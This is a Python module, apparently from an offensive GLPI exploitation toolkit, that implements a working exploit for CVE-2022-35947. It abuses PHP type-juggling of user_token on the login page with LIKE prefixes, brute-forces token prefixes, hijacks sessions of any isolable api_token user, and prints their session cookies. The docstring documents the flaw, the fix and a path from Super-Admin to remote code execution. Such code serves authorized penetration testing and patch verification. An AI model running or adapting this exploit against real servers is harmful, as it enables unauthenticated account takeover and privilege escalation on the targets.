import itertools
import re
from http import HTTPStatus
from ..exploit import GlpiExploit
from glpwnme.exploits.logger import Log


class CVE_2022_35947(GlpiExploit):
    """
    Unauthenticated authentication bypass via PHP type-juggling on user_token, driven
    from the LOGIN PAGE (GLPI 9.1 - 10.0.2, GHSA-7p3q-cffg-c8xh).

    The "login with external token" flow passes user_token straight to
    User::getFromDBbyToken() with no string check (Auth.php, case self::API):

        if ($user->getFromDBbyToken($_REQUEST['user_token'], 'api_token')) { ... log in ... }

    getFromDBbyToken -> getFromDBByCrit(['api_token' => $token]). Supplied as a PHP array
    via bracket notation, $token becomes an [operator, value] pair that DBmysqlIterator
    renders into the SQL criterion:

        WHERE glpi_users.api_token <operator> '<value>'

    getFromDBByCrit() returns a user only when the criterion matches EXACTLY ONE row, so
    the naive api_token >= '' matches every token and fails. The reliable primitive is to
    isolate one row with LIKE: user_token[0]=LIKE & user_token[1]=<prefix>% builds
    api_token LIKE '<prefix>%'. A prefix matching exactly one api_token logs that user in.

    Crucially this works from /front/login.php itself, NOT just /apirest.php: a request
    with user_token in the query string and NO noAUTO reaches Auth::checkAlternateAuthSystems
    -> self::API -> getFromDBbyToken. The login page is almost always reachable, so this
    bypasses the REST App-Token and apiclient IPv4 filtering entirely. A GET is enough
    (no CSRF on the redirect path); a single isolated match returns 302 -> /front/central.php
    with an authenticated session cookie.

    Enumeration: MySQL LIKE is case-insensitive, so the useful alphabet is [0-9a-z] (36).
    A single character usually matches several tokens (count > 1, no login), so the walk
    uses fixed-length combinations: 2 by default, raise with -O combination_size=3.

    Fix (GLPI 10.0.3, commit 564309d2c118): getFromDBbyToken() returns false when the
    token is not a string, so the array criterion is rejected outright.

    Precondition: "Enable login with external token" (enable_api_login_external_token) is
    on (default) and at least one user has an api_token. No REST API access required.
    Not exploitable on a stock install (no user has an api_token by default), which is why
    the score is 7.5 and not critical: it depends on a user having generated an api_token.

    Impact: the session is minted at the token holder's privilege. If a Super-Admin holds an
    api_token (common once the REST API is used), this is an unauthenticated path to a full
    Super-Admin session. Validated on 10.0.2: the isolated glpi session reaches the
    Super-Admin-only config and user-list pages, while an isolated Technician session is
    denied on the same pages. A Super-Admin then reaches RCE through the normal plugin
    install path, so a single api_token-bearing admin turns this into unauth-to-RCE.

    @author M00nBack
    @cvss 7.5
    @name CVE_2022_35947
    """
    _impacts = "Authentication Bypass, Privilege Escalation"
    _privilege = "Unauthenticated"
    _is_check_opsec_safe = True
    # split range: the bug is gone in the 9.5.x line at 9.5.9, separately from the 10.0.3 fix
    min_version = ("9.1.0", "10.0.0")
    max_version = ("9.5.9", "10.0.3")

    _LOGIN = "/front/login.php"
    # GLPI api_token is random [a-zA-Z0-9]; letters outnumber digits, so a letter is the
    # likelier first char. LIKE is case-insensitive, so the useful alphabet is [a-z0-9].
    _ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789"

    # ------------------------------------------------------------------ #
    # primitive                                                            #
    # ------------------------------------------------------------------ #

    def _login_with_prefix(self, prefix):
        """Drive the login-page type-juggling: GET /front/login.php with
        user_token[0]=LIKE & user_token[1]=<prefix>% and NO noAUTO. If exactly one
        api_token matches, GLPI logs that user in and redirects away from the login page.
        Returns an authenticated session on success, else None."""
        Log.log(f"Trying prefix: {prefix} ", end="\r")
        s = self.glpi_session.get_fresh_session_copy()
        url = self.glpi_session.r(self._LOGIN)
        try:
            # establish a PHP session first; checkAlternateAuthSystems only processes
            # user_token once a session cookie exists (a cold request does not authenticate)
            s.get(url, verify=False, allow_redirects=True, timeout=15)
            r = s.get(url, params={"user_token[0]": "LIKE", "user_token[1]": prefix + "%"},
                      verify=False, allow_redirects=False, timeout=15)
        except Exception:
            return None
        loc = r.headers.get("Location", "")
        # success is any post-auth redirect off the login page (central.php for a central
        # user, helpdesk for a self-service token holder); a failed attempt re-renders login
        if r.status_code in (HTTPStatus.MOVED_PERMANENTLY, HTTPStatus.FOUND) and loc and "login.php" not in loc:
            return s
        return None

    def _whoami(self, sess):
        """Read the logged-in user's login name and id from the Preference User tab
        (/ajax/common.tabs.php ... _glpi_tab=User$1), which renders both id and name on
        9.x and 10.x (the plain preference.php form does not)."""
        tab = ("/ajax/common.tabs.php?_target=/front/preference.php"
               "&_itemtype=Preference&_glpi_tab=User$1")
        try:
            h = sess.get(self.glpi_session.r(tab), verify=False, allow_redirects=False, timeout=15).text
        except Exception:
            return None, None
        uid = re.search(r"name=['\"]id['\"]\s+value=['\"](\d+)['\"]", h)
        name = (re.search(r"name=['\"]name['\"]\s+value=['\"]([^'\"]*)['\"]", h)
                or re.search(r"Login:\s*([^<\s]+)", h))
        return (uid.group(1) if uid else None), (name.group(1) if name else None)

    def _combos(self, size):
        for t in itertools.product(self._ALPHABET, repeat=size):
            yield "".join(t)

    # ------------------------------------------------------------------ #
    # interface                                                            #
    # ------------------------------------------------------------------ #

    def infos(self):
        infos = "[u]Description:[/u]\n"
        infos += "Unauthenticated auth bypass via [i]user_token[/i] PHP type-juggling, from the\n"
        infos += "[b]login page[/b] (GLPI 9.1 - 10.0.2). [b]/front/login.php[/b] with\n"
        infos += "[i]user_token[0]=LIKE & user_token[1]=<prefix>%[/i] (no [i]noAUTO[/i]) reaches\n"
        infos += "[b]getFromDBbyToken[/b] with an array, building [i]api_token LIKE '<prefix>%'[/i].\n"
        infos += "A prefix matching exactly one token logs that user in (302 off the login page),\n"
        infos += "with no API access, App-Token or IP-filter in the way. Fix 10.0.3: is_string guard.\n"

        infos += "\n[u]Params (run):[/u]\n"
        infos += " - [i]combination_size (default 1)[/i]: LIKE prefix length over [0-9a-z];\n"
        infos += "   raise up to 3 to separate users whose tokens share their first character\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Confirm the bypass (isolates one token, logs in)[/]\n--check\n\n"
        infos += "[grey66]# Log in as every isolable api_token user and print identity + cookie[/]\n--run\n\n"
        infos += "[grey66]# Wider isolation (slower)[/]\n--run -O combination_size=3\n"

        infos += "\nExploit is [green b]Safe[/] (read-only: only obtains sessions, changes nothing)."
        return infos

    # No check(): with no check method the framework's --check-all reports the target
    # vulnerable on a version match (and not vulnerable otherwise), which is the right
    # signal here. A behavioural check would have to walk the token keyspace; use --run to
    # isolate a token and obtain a session.

    def run(self, combination_size="1"):
        try:
            size = max(1, min(3, int(combination_size)))
        except Exception:
            size = 2
        total = len(self._ALPHABET) ** size
        Log.log(f"Logging in as every isolable api_token user via /front/login.php "
                f"(size-{size} prefixes, up to {total} probes) ...")
        seen, n = set(), 0
        for prefix in self._combos(size):
            sess = self._login_with_prefix(prefix)
            if not sess:
                continue
            # grab the authenticated cookie BEFORE any further request can rotate it
            cookie = "; ".join(f"{k}={v}" for k, v in dict(sess.cookies).items()
                               if k.startswith("glpi_"))
            uid, name = self._whoami(sess)
            key = uid or cookie or prefix
            if key in seen:
                continue
            seen.add(key)
            n += 1
            who = (f"{name} (id {uid})" if name else f"id {uid}") if uid else "an api_token user"
            Log.msg(f"  Logged in as [green b]{who}[/green b] via login-page user_token (LIKE '{prefix}%')")
            if cookie:
                Log.msg(f"      Session-Cookie: {cookie}")
        if not n:
            Log.err("No session obtained (patched, external-token login disabled, or no api_token users). "
                    "Try -O combination_size=2 if tokens may share their first character.")
            return False
        Log.msg(f"Obtained {n} session(s) from the login page with no credentials (CVE-2022-35947)")
        return True
